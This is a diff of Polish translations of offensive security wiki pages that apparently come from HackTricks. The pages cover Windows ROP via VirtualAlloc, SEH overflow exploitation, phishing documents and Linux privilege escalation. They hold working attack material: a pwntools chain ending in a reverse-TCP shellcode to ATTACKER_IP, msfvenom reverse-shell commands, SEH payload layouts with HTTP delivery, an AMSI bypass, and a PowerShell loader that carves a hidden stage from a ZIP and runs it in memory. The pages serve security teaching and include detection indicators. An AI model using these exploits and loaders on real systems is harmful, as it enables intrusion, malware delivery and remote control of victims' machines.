zaalokowany region RWX nachodził na twój payload +- RCX = lpAddress → wybierz adres w bieżącym stosie (np. RSP), tak aby nowo zaalokowany region RWX pokrywał się z twoim payload - RDX = dwSize → wystarczająco duży dla twojego chain + shellcode (np. 0x1000) - R8 = flAllocationType = MEM_COMMIT (0x1000) - R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40) - Return directly into the shellcode placed right after the chain. -Minimal strategy: -1) Leak a module base (e.g., via a format-string, object pointer, etc.) to compute absolute gadget and IAT addresses under ASLR. -2) Find gadgets to load RCX/RDX/R8/R9 (pop or mov/xor-based sequences) and a call/jmp [VirtualAlloc@IAT]. If you lack direct pop r8/r9, use arithmetic gadgets to synthesize constants (e.g., set r8=0 and repeatedly add r9=0x40 forty times to reach 0x1000). -3) Place stage-2 shellcode immediately after the chain. +Minimalna strategia: +1) Leak a module base (np. via format-string, object pointer, itp.) aby obliczyć absolutne adresy gadgets i IAT przy ASLR. +2) Znajdź gadgets do załadowania RCX/RDX/R8/R9 (pop lub sekwencje oparte na mov/xor) oraz call/jmp [VirtualAlloc@IAT]. Jeśli nie masz bezpośrednich pop r8/r9, użyj arithmetic gadgets do syntezy stałych (np. ustaw r8=0 i wielokrotnie dodaj r9=0x40 czterdzieści razy, aby osiągnąć 0x1000). +3) Umieść stage-2 shellcode bezpośrednio po chainie. -Przykładowy układ (koncepcyjny): +Przykładowy układ (konceptualny): ``` # ... padding up to saved RIP ... # R9 = 0x40 (PAGE_EXECUTE_READWRITE) @@ -104,12 +104,12 @@ POP_RDX_RET; 0x1000 JMP_SHELLCODE_OR_RET # ---- stage-2 shellcode (x64) ---- ``` -Przy ograniczonym zestawie gadgets możesz pośrednio ustawić wartości rejestrów, na przykład: -- mov r9, rbx; mov r8, 0; add rsp, 8; ret → ustawia r9 z rbx, zeruje r8 i kompensuje stos za pomocą śmieciowego qword. -- xor rbx, rsp; ret → załadowuje rbx wartością aktualnego wskaźnika stosu. +Przy ograniczonym zestawie gadgets możesz pośrednio skonstruować wartości rejestrów, na przykład: +- mov r9, rbx; mov r8, 0; add rsp, 8; ret → ustawia r9 z rbx, zeruje r8 i kompensuje stos nieistotnym qwordem. +- xor rbx, rsp; ret → ustawia rbx na aktualny wskaźnik stosu. - push rbx; pop rax; mov rcx, rax; ret → przenosi wartość pochodzącą z RSP do RCX. -Szkic Pwntools (zakładając znane base i gadgets): +Pwntools sketch (given a known base and gadgets): ```python from pwn import * base = 0x7ff6693b0000 @@ -132,30 +132,30 @@ rop += p64(base+POP_RDX_RET) + p64(0x1000) rop += p64(IAT_VirtualAlloc) rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT)) ``` -Wskazówki: -- VirtualProtect działa podobnie, jeśli wolisz nadać istniejącemu buforowi prawa RX; kolejność parametrów jest inna. -- Jeśli miejsce na stosie jest ograniczone, zaalokuj RWX gdzie indziej (RCX=NULL) i jmp do tego nowego obszaru zamiast ponownie używać stosu. -- Zawsze uwzględniaj gadgets, które modyfikują RSP (np. add rsp, 8; ret) przez wstawienie śmieciowych qwords. +Tips: +- VirtualProtect działa podobnie, jeśli wolisz ustawić istniejący bufor jako RX; kolejność parametrów jest inna. +- Jeśli przestrzeń stack jest ograniczona, przydziel RWX gdzie indziej (RCX=NULL) i jmp do tego nowego regionu zamiast ponownego użycia stack. +- Zawsze uwzględniaj gadgets, które modyfikują RSP (np. add rsp, 8; ret), wstawiając junk qwords. -- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **powinien być wyłączony**, aby adres był wiarygodny między uruchomieniami — w przeciwnym razie adres, pod którym funkcja zostanie umieszczona, nie będzie zawsze taki sam i potrzebowałbyś jakiegoś leak, aby ustalić, gdzie załadowana jest funkcja win. -- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) **powinny być również wyłączone**, inaczej skompromitowany adres powrotu EIP nigdy nie zostanie osiągnięty. -- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** protection zapobiegnie wykonaniu shellcode wewnątrz stosu, ponieważ ten obszar nie będzie wykonywalny. +- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **powinien być wyłączony**, aby adres był wiarygodny między uruchomieniami, inaczej adres, pod którym funkcja zostanie załadowana, nie będzie zawsze taki sam i potrzebowałbyś jakiegoś leak, żeby ustalić, gdzie jest załadowana funkcja win. +- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) powinny być również wyłączone, inaczej skompromitowany adres powrotu EIP nie zostanie wykonany. +- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** ochrona uniemożliwi wykonanie shellcode wewnątrz stack, ponieważ ten region nie będzie wykonywalny. -## Inne przykłady i odniesienia +## Inne przykłady i odnośniki - [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode) - [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html) -- 64-bit, ASLR with stack address leak, zapisz shellcode i skocz do niego +- 64bit, ASLR with stack address leak, write shellcode and jump to it - [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html) -- 32-bit, ASLR with stack leak, zapisz shellcode i skocz do niego +- 32 bit, ASLR with stack leak, write shellcode and jump to it - [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html) -- 32-bit, ASLR with stack leak, porównanie zapobiegające wywołaniu exit(), nadpisz zmienną wartością, zapisz shellcode i skocz do niego +- 32 bit, ASLR with stack leak, comparison to prevent call to exit(), overwrite variable with a value and write shellcode and jump to it - [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/) -- arm64, brak ASLR, ROP gadget, aby uczynić stos wykonywalnym i skoczyć do shellcode na stosie +- arm64, no ASLR, ROP gadget to make stack executable and jump to shellcode in stack -## Odniesienia +## References - [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html) - [VirtualAlloc documentation](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc) diff --git a/src/binary-exploitation/stack-overflow/windows-seh-overflow.md b/src/binary-exploitation/stack-overflow/windows-seh-overflow.md index 5fd08a260..37e749a0c 100644 --- a/src/binary-exploitation/stack-overflow/windows-seh-overflow.md +++ b/src/binary-exploitation/stack-overflow/windows-seh-overflow.md @@ -2,24 +2,24 @@ {{#include ../../banners/hacktricks-training.md}} -SEH-based exploitation to klasyczna technika x86 na Windows, która wykorzystuje łańcuch Structured Exception Handler przechowywany na stosie. Gdy overflow bufora na stosie nadpisze dwa 4-bajtowe pola +SEH-based exploitation jest klasyczną techniką dla x86 Windows, która wykorzystuje łańcuch Structured Exception Handler przechowywany na stosie. Gdy przepełnienie bufora na stosie nadpisze dwa 4-bajtowe pola -- nSEH: pointer to the next SEH record, and -- SEH: pointer to the exception handler function +- nSEH: wskaźnik do następnego rekordu SEH, oraz +- SEH: wskaźnik do funkcji obsługi wyjątków atakujący może przejąć kontrolę nad wykonaniem poprzez: -1) Ustawienie SEH na adres POP POP RET gadget w module bez ochrony, tak aby po zgłoszeniu wyjątku gadget zwrócił sterowanie do bajtów kontrolowanych przez atakującego, oraz -2) Użycie nSEH do przekierowania wykonania (zazwyczaj krótki skok) z powrotem do dużego przepełniającego bufora, gdzie znajduje się shellcode. +1) Ustawienie SEH na adres gadgetu POP POP RET w module bez zabezpieczeń, tak aby po zgłoszeniu wyjątku gadget zwrócił sterowanie do bajtów kontrolowanych przez atakującego, oraz +2) Użycie nSEH do przekierowania wykonania (zwykle krótkiego skoku) z powrotem do dużego przepełnionego bufora, w którym znajduje się shellcode. -Ta technika dotyczy specyficznie procesów 32-bitowych (x86). Na nowoczesnych systemach preferuj moduł bez SafeSEH i ASLR dla gadgetu. Bad characters często obejmują 0x00, 0x0a, 0x0d (NUL/CR/LF) z powodu C-strings i parsowania HTTP. +This technique is specific to 32-bit processes (x86). On modern systems, prefer a module without SafeSEH and ASLR for the gadget. Bad characters often include 0x00, 0x0a, 0x0d (NUL/CR/LF) due to C-strings and HTTP parsing. --- ## Finding exact offsets (nSEH / SEH) -- Crash the process and verify the SEH chain is overwritten (e.g., in x32dbg/x64dbg, check the SEH view). -- Send a cyclic pattern as the overflowing data and compute offsets of the two dwords that land in nSEH and SEH. +- Spowoduj awarię procesu i zweryfikuj, że łańcuch SEH został nadpisany (np. w x32dbg/x64dbg sprawdź widok SEH). +- Wyślij cykliczny wzorzec jako dane przepełniające i oblicz offsety dwóch dwordów, które trafiają do nSEH i SEH. Example with peda/GEF/pwntools on a 1000-byte POST body: ```bash @@ -33,24 +33,24 @@ python3 -c "from pwn import *; print(cyclic(1000).decode())" /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x41484241 # SEH # ➜ offsets example: nSEH=660, SEH=664 ``` -Zweryfikuj, umieszczając markery w tych pozycjach (np., nSEH=b"BB", SEH=b"CC"). Zachowaj całkowitą długość, aby awaria była powtarzalna. +Zwaliduj, umieszczając markery w tych pozycjach (np. nSEH=b"BB", SEH=b"CC"). Zachowaj całkowitą długość niezmienioną, aby umożliwić odtworzenie awarii. --- ## Wybór POP POP RET (SEH gadget) -Potrzebujesz sekwencji POP POP RET, aby rozwinąć ramkę SEH i wrócić do swoich bajtów nSEH. Znajdź ją w module bez SafeSEH i najlepiej bez ASLR: +Potrzebujesz sekwencji POP POP RET, aby rozwinąć ramkę SEH i wrócić do bajtów nSEH. Znajdź ją w module bez SafeSEH i najlepiej bez ASLR: - Mona (Immunity/WinDbg): `!mona modules` następnie `!mona seh -m modulename`. - x64dbg plugin ERC.Xdbg: `ERC --SEH` aby wypisać POP POP RET gadgets i status SafeSEH. -Wybierz adres, który nie zawiera badchars po zapisaniu w little-endian (np., `p32(0x004094D8)`). Preferuj gadgets wewnątrz podatnego pliku binarnego, jeśli zabezpieczenia to umożliwiają. +Wybierz adres, który nie zawiera badchars po zapisaniu w little-endian (np. `p32(0x004094D8)`). Preferuj gadgety wewnątrz podatnej binarki, jeśli zabezpieczenia na to pozwalają. --- -## Technika jump-back (short + near jmp) +## Technika skoku wstecz (short + near jmp) -nSEH ma tylko 4 bajty, co mieści co najwyżej 2-bajtowy short jump (`EB xx`) plus padding. Jeśli musisz przeskoczyć wstecz setki bajtów, aby dotrzeć do początku bufora, użyj 5-bajtowego near jump umieszczonego bezpośrednio przed nSEH i połącz go short jumpem z nSEH. +nSEH ma tylko 4 bajty, co mieści co najwyżej 2-bajtowy short jump (`EB xx`) plus padding. Jeśli musisz skoczyć wstecz o setki bajtów, by dostać się do początku bufora, użyj 5-bajtowego near jump umieszczonego tuż przed nSEH i połącz go łańcuchem krótkim skokiem z nSEH. Za pomocą nasmshell: ```text @@ -61,7 +61,7 @@ EBF6 nasm> jmp -652 ; 8 bytes closer (to account for short-jmp hop) E96FFDFFFF ``` -Pomysł układu dla payloadu o rozmiarze 1000 bajtów z nSEH na offset 660: +Pomysł układu dla 1000-byte payload z nSEH na offset 660: ```python buffer_length = 1000 payload = b"\x90"*50 + shellcode # NOP sled + shellcode at buffer start @@ -71,17 +71,17 @@ payload += b"\xEB\xF6" + b"BB" # nSEH: short jmp -8 + 2B pa payload += p32(0x004094D8) # SEH: POP POP RET (no badchars) payload += b"D" * (buffer_length - len(payload)) ``` -Execution flow: +Przebieg wykonania: - Występuje wyjątek, dispatcher używa nadpisanego SEH. -- POP POP RET powoduje przejście do naszego nSEH. -- nSEH wykonuje `jmp short -8` do 5-bajtowego near jump. +- POP POP RET rozwija stos do naszego nSEH. +- nSEH wykonuje `jmp short -8`, trafiając do 5-byte near jump. - Near jump ląduje na początku naszego bufora, gdzie znajduje się NOP sled + shellcode. --- -## Bad characters +## Złe znaki -Utwórz pełny badchar string i porównaj pamięć stosu po awarii, usuwając bajty, które są zniekształcane przez parser docelowy. Dla przepełnień opartych na HTTP, `\x00\x0a\x0d` są prawie zawsze wykluczone. +Zbuduj pełny badchar string i porównaj stack memory po crashu, usuwając bajty, które są mangled przez target parser. Dla HTTP-based overflows `\x00\x0a\x0d` są niemal zawsze wykluczone. ```python badchars = bytes([x for x in range(1,256)]) payload = b"A"*660 + b"BBBB" + b"CCCC" + badchars # position appropriately for your case @@ -90,12 +90,12 @@ payload = b"A"*660 + b"BBBB" + b"CCCC" + badchars # position appropriately for ## Shellcode generation (x86) -Użyj msfvenom z własnymi badchars. Mały NOP sled pomaga tolerować odchylenia miejsca trafienia. +Użyj msfvenom z twoimi badchars. Mały NOP sled pomaga tolerować zmienność punktu lądowania. ```bash msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST= LPORT= \ -b "\x00\x0a\x0d" -f python -v sc ``` -Jeśli generujesz na bieżąco, format hex jest wygodny do osadzania i unhex w Pythonie: +Jeśli generujesz w locie, format hex jest wygodny do osadzenia i unhex w Pythonie: ```bash msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST= LPORT= \ -b "\x00\x0a\x0d" -f hex @@ -104,7 +104,7 @@ msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST= LP ## Dostarczanie przez HTTP (dokładne CRLF + Content-Length) -Gdy wektorem podatności jest ciało żądania HTTP, skonstruuj surowe żądanie z dokładnymi CRLFs i Content-Length, aby serwer odczytał całe przepełniające się ciało żądania. +Jeżeli wektorem podatności jest ciało żądania HTTP, przygotuj surowe żądanie z dokładnymi CRLF i Content-Length, aby serwer odczytał całe przepełniające się ciało. ```python # pip install pwntools from pwn import remote @@ -137,11 +137,11 @@ p.close() ## Uwagi i zastrzeżenia -- Dotyczy tylko procesów x86. x64 używa innego schematu SEH i eksploatacja oparta na SEH na ogół nie jest wykonalna. -- Preferuj gadgets w modułach bez SafeSEH i ASLR; w przeciwnym razie znajdź niechroniony moduł załadowany w procesie. -- Service watchdogs, które automatycznie restartują po awarii, mogą ułatwić iteracyjne tworzenie exploitów. +- Dotyczy tylko procesów x86. x64 używa innego schematu SEH i SEH-based exploitation zazwyczaj nie jest wykonalna. +- Preferuj gadgets w modułach bez SafeSEH i ASLR; w przeciwnym razie znajdź niechroniony moduł załadowany do procesu. +- Service watchdogs, które automatycznie restartują po awarii, mogą ułatwić iterative exploit development. -## Referencje +## References - [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html) - [ERC.Xdbg – Exploit Research Plugin for x64dbg (SEH search)](https://github.com/Andy53/ERC.Xdbg) - [Corelan – Exploit writing tutorial part 7 (SEH)](https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-7-unicode-0day-buffer-overflow-seh-and-venetian-shellcode/) diff --git a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md index 3ebd96a6c..911774401 100644 --- a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md +++ b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md @@ -1,20 +1,20 @@ -# Pliki i dokumenty phishingowe +# Phishing Pliki i Dokumenty {{#include ../../banners/hacktricks-training.md}} -## Dokumenty Microsoft Office +## Dokumenty Office -Microsoft Word przeprowadza walidację danych pliku przed jego otwarciem. Walidacja danych odbywa się w postaci identyfikacji struktury danych, zgodnie ze standardem OfficeOpenXML. Jeśli podczas identyfikacji struktury danych wystąpi jakikolwiek błąd, analizowany plik nie zostanie otwarty. +Microsoft Word wykonuje walidację danych pliku przed otwarciem go. Walidacja danych odbywa się w formie identyfikacji struktury danych, zgodnie ze standardem OfficeOpenXML. Jeśli podczas identyfikacji struktury danych wystąpi jakikolwiek błąd, analizowany plik nie zostanie otwarty. -Zwykle pliki Word zawierające makra używają rozszerzenia `.docm`. Jednak możliwe jest zmienienie nazwy pliku poprzez zmianę rozszerzenia i nadal zachować zdolność wykonywania makr.\ -Na przykład plik RTF domyślnie nie obsługuje makr, ale plik DOCM przemianowany na RTF zostanie obsłużony przez Microsoft Word i będzie zdolny do wykonania makr.\ +Zazwyczaj pliki Word zawierające makra używają rozszerzenia `.docm`. Jednak możliwe jest zmienienie nazwy pliku przez zmianę rozszerzenia i nadal zachować możliwość wykonywania makr.\ +Na przykład plik RTF z założenia nie obsługuje makr, ale plik DOCM przemianowany na RTF będzie obsługiwany przez Microsoft Word i będzie zdolny do wykonania makr.\ Te same wewnętrzne mechanizmy dotyczą całego oprogramowania z pakietu Microsoft Office (Excel, PowerPoint itp.). -Możesz użyć następującego polecenia, aby sprawdzić, które rozszerzenia będą wykonywane przez niektóre programy Office: +Możesz użyć następującego polecenia, aby sprawdzić, które rozszerzenia będą uruchamiane przez niektóre programy Office: ```bash assoc | findstr /i "word excel powerp" ``` -DOCX files referencing a remote template (File –Options –Add-ins –Manage: Templates –Go) that includes macros can “execute” macros as well. +Pliki DOCX odwołujące się do zdalnego szablonu (File –Options –Add-ins –Manage: Templates –Go) który zawiera macros mogą również „wykonywać” macros. ### Ładowanie zewnętrznego obrazu @@ -25,9 +25,9 @@ _**Categories**: Links and References, **Filed names**: includePicture, and **Fi ### Macros Backdoor -Można użyć macros, aby uruchomić dowolny kod z dokumentu. +Możliwe jest użycie macros do uruchomienia dowolnego kodu z poziomu dokumentu. -#### Autoload functions +#### Funkcje autoload Im bardziej są powszechne, tym bardziej prawdopodobne, że AV je wykryje. @@ -68,12 +68,12 @@ proc.Create "powershell Przejdź do **File > Info > Inspect Document > Inspect Document**, co otworzy Document Inspector. Kliknij **Inspect**, a następnie **Remove All** obok **Document Properties and Personal Information**. -#### Rozszerzenie pliku +#### Rozszerzenie dokumentu -When finished, select **Save as type** dropdown, change the format from **`.docx`** to **Word 97-2003 `.doc`**.\ -Zrób to ponieważ **nie można zapisać makr w `.docx`** i istnieje **stigma** związane z rozszerzeniem obsługującym makra **`.docm`** (np. ikona miniatury ma ogromny `!` i niektóre bramy sieciowe/emailowe blokują je całkowicie). Dlatego to **legacy `.doc` rozszerzenie jest najlepszym kompromisem**. +Po zakończeniu wybierz rozwijane menu **Save as type**, zmień format z **`.docx`** na **Word 97-2003 `.doc`**.\ +Zrób tak, ponieważ **nie można zapisać makr w `.docx`** i wokół rozszerzenia obsługującego makra **`.docm`** istnieje **pewna stygma** (np. ikona miniatury ma ogromne `!` i niektóre bramy web/email całkowicie je blokują). Dlatego to **stare rozszerzenie `.doc` jest najlepszym kompromisem**. -#### Generatory złośliwych makr +#### Generatorzy złośliwych makr - MacOS - [**macphish**](https://github.com/cldrn/macphish) @@ -81,9 +81,9 @@ Zrób to ponieważ **nie można zapisać makr w `.docx`** i istnieje **stigma** ## Pliki HTA -HTA to program na Windows, który **łączy HTML i języki skryptowe (takie jak VBScript i JScript)**. Generuje interfejs użytkownika i uruchamia się jako aplikacja "w pełni zaufana", bez ograniczeń wynikających z modelu bezpieczeństwa przeglądarki. +HTA to program dla **Windows**, który **łączy HTML i języki skryptowe (takie jak VBScript i JScript)**. Generuje interfejs użytkownika i wykonuje się jako aplikacja "w pełni zaufana", bez ograniczeń modelu bezpieczeństwa przeglądarki. -HTA uruchamiany jest przy użyciu **`mshta.exe`**, który zazwyczaj jest **zainstalowany** razem z **Internet Explorer**, co sprawia, że **`mshta` dependant on IE**. Jeśli więc został odinstalowany, HTA nie będą mogły się uruchomić. +HTA jest uruchamiana za pomocą **`mshta.exe`**, które jest zazwyczaj instalowane razem z **Internet Explorer**, co powoduje, że **`mshta` jest zależne od IE**. Jeśli więc Internet Explorer został odinstalowany, HTA nie będą mogły się uruchomić. ```html <--! Basic HTA Execution --> @@ -140,9 +140,9 @@ self.close ``` ## Wymuszanie uwierzytelniania NTLM -Istnieje kilka sposobów, aby **wymusić uwierzytelnianie NTLM "zdalnie"**, na przykład możesz dodać **niewidoczne obrazy** do e-maili lub HTML, do których użytkownik uzyska dostęp (nawet HTTP MitM?). Albo wysłać ofierze **adres plików**, które **wywołają** **uwierzytelnianie** już przy **otwarciu folderu.** +Istnieje kilka sposobów, aby **wymusić uwierzytelnianie NTLM "zdalnie"**, na przykład możesz dodać **niewidoczne obrazy** do emaili lub HTML, które użytkownik otworzy (nawet HTTP MitM?). Albo wysłać ofierze **adres plików**, które **wywołają** **uwierzytelnianie** już przy **otwarciu folderu.** -**Sprawdź te pomysły i więcej na poniższych stronach:** +**Sprawdź te pomysły i więcej na następujących stronach:** {{#ref}} @@ -156,24 +156,24 @@ Istnieje kilka sposobów, aby **wymusić uwierzytelnianie NTLM "zdalnie"**, na p ### NTLM Relay -Pamiętaj, że możesz nie tylko ukraść hasha lub dane uwierzytelniające, lecz także **przeprowadzić NTLM relay attacks**: +Nie zapomnij, że nie chodzi tylko o kradzież hasha czy uwierzytelnienia, lecz także o możliwość **przeprowadzenia NTLM relay attacks**: - [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack) - [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8) ## LNK Loaders + ZIP-Embedded Payloads (fileless chain) -Wysoce skuteczne kampanie dostarczają ZIP zawierający dwa legalne, mylące dokumenty (PDF/DOCX) i złośliwy .lnk. Sztuczka polega na tym, że rzeczywisty loader PowerShell jest przechowywany wewnątrz surowych bajtów ZIP po unikalnym markerze, a .lnk wyodrębnia go i uruchamia w całości w pamięci. +Bardzo skuteczne kampanie dostarczają ZIP, który zawiera dwa legalne dokumenty-przynęty (PDF/DOCX) oraz złośliwy .lnk. Sztuczka polega na tym, że rzeczywisty PowerShell loader jest przechowany w surowych bajtach ZIP-a po unikalnym markerze, a .lnk wyodrębnia go i uruchamia w całości w pamięci. -Typowy przepływ zaimplementowany przez .lnk z jednowierszowym PowerShellem: +Typowy przebieg realizowany przez .lnk PowerShell one-liner: -1) Zlokalizuj oryginalny ZIP w typowych ścieżkach: Desktop, Downloads, Documents, %TEMP%, %ProgramData% oraz w katalogu nadrzędnym bieżącego katalogu roboczego. -2) Odczytaj bajty ZIP i znajdź hardcodowany marker (np. xFIQCV). Wszystko po markerze to osadzona PowerShell payload. -3) Skopiuj ZIP do %ProgramData%, wypakuj tam i otwórz mylący .docx, aby wyglądało to na legalne. -4) Bypass AMSI dla bieżącego procesu: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true +1) Zlokalizuj oryginalny ZIP w typowych ścieżkach: Desktop, Downloads, Documents, %TEMP%, %ProgramData%, oraz w katalogu nadrzędnym bieżącego katalogu roboczego. +2) Odczytaj bajty ZIP-a i znajdź na stałe wpisany marker (np. xFIQCV). Wszystko po markerze to osadzony PowerShell payload. +3) Skopiuj ZIP do %ProgramData%, rozpakuj tam i otwórz przynętę .docx, aby wyglądało to legalnie. +4) Obejście AMSI dla bieżącego procesu: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true 5) Deobfuskacja następnego etapu (np. usunięcie wszystkich znaków #) i wykonanie go w pamięci. -Example PowerShell skeleton to carve and run the embedded stage: +Przykładowy szkielet PowerShell do wyodrębnienia i uruchomienia osadzonego etapu: ```powershell $marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV') $paths = @( @@ -191,20 +191,20 @@ $code = [Text.Encoding]::UTF8.GetString($stage) -replace '#','' Invoke-Expression $code ``` Notatki -- Dostarczenie często nadużywa zaufanych subdomen PaaS (np. *.herokuapp.com) i może ograniczać dostęp do payloadów (serwując nieszkodliwe ZIPy w zależności od IP/UA). -- Kolejny etap często odszyfrowuje base64/XOR shellcode i wykonuje go za pomocą Reflection.Emit + VirtualAlloc, aby zminimalizować artefakty na dysku. +- Dostarczenie często nadużywa zaufanych subdomen PaaS (np. *.herokuapp.com) i może ograniczać dostęp do payloadów (serwować nieszkodliwe ZIPs w zależności od IP/UA). +- Kolejny etap często odszyfrowuje base64/XOR shellcode i wykonuje go przy użyciu Reflection.Emit + VirtualAlloc, aby zminimalizować artefakty na dysku. Persistence used in the same chain -- COM TypeLib hijacking kontrolki Microsoft Web Browser, tak że IE/Explorer lub każda aplikacja ją osadzająca automatycznie ponownie uruchamia payload. Szczegóły i gotowe do użycia polecenia tutaj: +- COM TypeLib hijacking of the Microsoft Web Browser control tak, aby IE/Explorer lub każda aplikacja ją osadzająca automatycznie ponownie uruchamiała payload. Zobacz szczegóły i gotowe polecenia tutaj: {{#ref}} ../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md {{#endref}} -Wykrywanie/IOCs -- Pliki ZIP zawierające dopisany do danych archiwum ASCII marker (np. xFIQCV). -- .lnk, który przeszukuje foldery nadrzędne/użytkownika, aby znaleźć ZIP i otworzyć dokument przynętowy. -- Modyfikacja AMSI za pomocą [System.Management.Automation.AmsiUtils]::amsiInitFailed. +Hunting/IOCs +- ZIP files zawierające ASCII marker string (np. xFIQCV) dopisany do danych archiwum. +- .lnk, który enumeruje foldery nadrzędne/użytkownika, aby zlokalizować ZIP i otworzyć dokument przynętowy. +- Manipulacja AMSI przez [System.Management.Automation.AmsiUtils]::amsiInitFailed. - Długotrwałe wątki biznesowe kończące się linkami hostowanymi pod zaufanymi domenami PaaS. ## Referencje diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index eef8ac0c7..81b16c3bf 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -4,17 +4,17 @@ ## Informacje o systemie -### Informacje o OS +### Informacje o systemie operacyjnym -Zacznijmy zdobywać informacje o działającym OS +Zacznijmy zdobywać trochę informacji o uruchomionym systemie operacyjnym ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems cat /etc/os-release 2>/dev/null # universal on modern systems ``` -### Path +### PATH -Jeżeli **masz uprawnienia do zapisu w dowolnym folderze znajdującym się w zmiennej `PATH`** możesz być w stanie przejąć niektóre biblioteki lub binaria: +Jeśli **masz uprawnienia zapisu w dowolnym folderze znajdującym się w zmiennej `PATH`** możesz przejąć niektóre biblioteki lub pliki binarne: ```bash echo $PATH ``` @@ -26,16 +26,16 @@ Czy w zmiennych środowiskowych znajdują się interesujące informacje, hasła ``` ### Kernel exploits -Sprawdź wersję kernela i czy istnieje exploit, którego można użyć do escalate privileges +Sprawdź wersję kernela i czy istnieje jakiś exploit, który można użyć do escalate privileges ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -Możesz znaleźć dobrą listę podatnych wersji jądra oraz kilka już dostępnych **compiled exploits** tutaj: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) i [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ -Inne serwisy, gdzie można znaleźć kilka **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) +Możesz znaleźć dobrą listę podatnych jąder i kilka już **compiled exploits** tutaj: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) i [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +Inne strony, gdzie możesz znaleźć kilka **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -Aby wyodrębnić wszystkie podatne wersje jądra z tej witryny możesz zrobić: +Aby wyodrębnić wszystkie podatne wersje jądra z tej strony możesz zrobić: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` @@ -45,7 +45,7 @@ Narzędzia, które mogą pomóc w wyszukiwaniu kernel exploits to: [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ [linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute IN victim,only checks exploits for kernel 2.x) -Zawsze **wyszukaj wersję kernel w Google**, być może Twoja wersja kernel jest wymieniona w jakimś kernel exploit i wtedy będziesz pewien, że exploit jest ważny. +Zawsze **wyszukaj wersję kernela w Google** — być może Twoja wersja kernela jest wymieniona w jakimś kernel exploit i wtedy będziesz mieć pewność, że exploit jest skuteczny. ### CVE-2016-5195 (DirtyCow) @@ -57,13 +57,13 @@ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` -### Wersja sudo +### Wersja Sudo -Na podstawie podatnych wersji sudo, które pojawiają się w: +Na podstawie podatnych wersji Sudo, które pojawiają się w: ```bash searchsploit sudo ``` -Możesz sprawdzić, czy wersja sudo jest podatna, używając tego grepa. +Możesz sprawdzić, czy wersja sudo jest podatna, używając tego polecenia grep. ```bash sudo -V | grep "Sudo ver" | grep 